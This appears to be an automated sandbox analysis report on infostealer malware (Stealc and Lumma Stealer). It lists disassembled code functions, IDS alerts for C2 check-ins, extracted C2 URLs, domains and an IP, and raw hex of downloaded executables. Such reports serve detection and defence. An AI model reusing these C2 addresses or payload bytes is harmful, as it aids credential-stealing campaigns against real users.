Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	9_2_00218528
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	9_2_002245E8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00222601
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, ebx	9_2_001F264D
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_0020665F
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	9_2_0020A687
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	9_2_002207F8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00210813
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp dword ptr [0044FDB4h]	9_2_001F2849
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	9_2_001FA86A
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	9_2_001FC89C
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	9_2_002268A8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp eax	9_2_001EE914
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	9_2_0021093D
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	9_2_001E2928
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp eax	9_2_001EE9A5
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	9_2_00226A38
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	9_2_001FAA47
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	9_2_001EEAC6
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	9_2_00204AD8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00210B22
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	9_2_0021CB36
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00210B43
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_001ECB78
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00226BB8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	9_2_00226BB8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	9_2_0020AC81
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_00204D38
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00202D48
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	9_2_001EED6B
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	9_2_001E8D88
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0021CE48
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp ecx	9_2_00222EAE
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov word ptr [edx], 0000h	9_2_001FCEB7
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	9_2_00224E98
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00224E98
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp eax	9_2_00206EC4
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	9_2_0020CF30
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	9_2_00210F18
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	9_2_00210F18
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	9_2_00220F18
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp ecx	9_2_00222F6C
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	9_2_001F0F6F
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_001FF138
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov word ptr [esi], ax	9_2_001FF138
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov ebp, eax	9_2_001E71D8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	9_2_0020F2B8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	9_2_00223290
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	9_2_002093AF
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	9_2_00223390
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	9_2_001F340E
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	9_2_001E5468
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	9_2_0020B56A
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_001FF540
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	9_2_002236C7
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	9_2_00205824
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	9_2_00223833
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	9_2_001E1878
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	9_2_00221918
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	9_2_0020DA58
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	9_2_0020BB20
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov word ptr [edx], ax	9_2_00207B69
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp eax	9_2_00207B48
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	9_2_00209BA8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00209BA8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	9_2_00209BA8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp eax	9_2_00205C1B
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00225C62
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	9_2_001F3CBA
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov edi, ecx	9_2_001F1D02
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	9_2_001E3D78
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_001EDDC4
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	9_2_001F3E69
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	9_2_001DDED8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then dec ebx	9_2_0021BF08
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	9_2_0020FF74
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then jmp ecx	9_2_001E5FB0
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	9_2_0020FFD5
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_001E9FE8
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_001E9FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_0040D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_0040D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	10_2_004463B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	10_2_0044695B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	10_2_0040FCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	10_2_00410EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	10_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	10_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	10_2_00416F91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then dec ebx	10_2_0043F030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	10_2_00446094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	10_2_0042D1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	10_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	10_2_004142FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, eax	10_2_0040A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	10_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	10_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	10_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	10_2_00441440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_0041D457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	10_2_0042C470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	10_2_0042E40C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	10_2_0041B410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	10_2_004464B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00429510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	10_2_00447520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	10_2_00416536
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	10_2_00408590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	10_2_0043B650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	10_2_0042E66A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00445700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	10_2_00447710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	10_2_004467EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	10_2_0042D7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	10_2_004228E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	10_2_0041D961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	10_2_00443920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	10_2_004499D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	10_2_004049A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	10_2_00444A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	10_2_00405A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	10_2_00411A3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	10_2_00411ACD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	10_2_00449B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	10_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	10_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	10_2_00413BE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	10_2_00411BEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	10_2_00430B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	10_2_0042EC48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	10_2_00427C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	10_2_0043FC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	10_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	10_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00449CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	10_2_00449CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	10_2_0042AC91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], ax	10_2_0042AC91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	10_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	10_2_0042DD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00448D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	10_2_0042AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00427E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00425E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	10_2_00411E93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	10_2_00406EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	10_2_0040BEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	10_2_00416EBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	10_2_00429F62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_0043FF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	10_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	10_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	10_2_00408FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	10_2_00445FD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], 0000h	10_2_0041FFDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	10_2_00416F91

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.6:49718
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49726 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49726 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49725 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49725 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:00:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:00:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 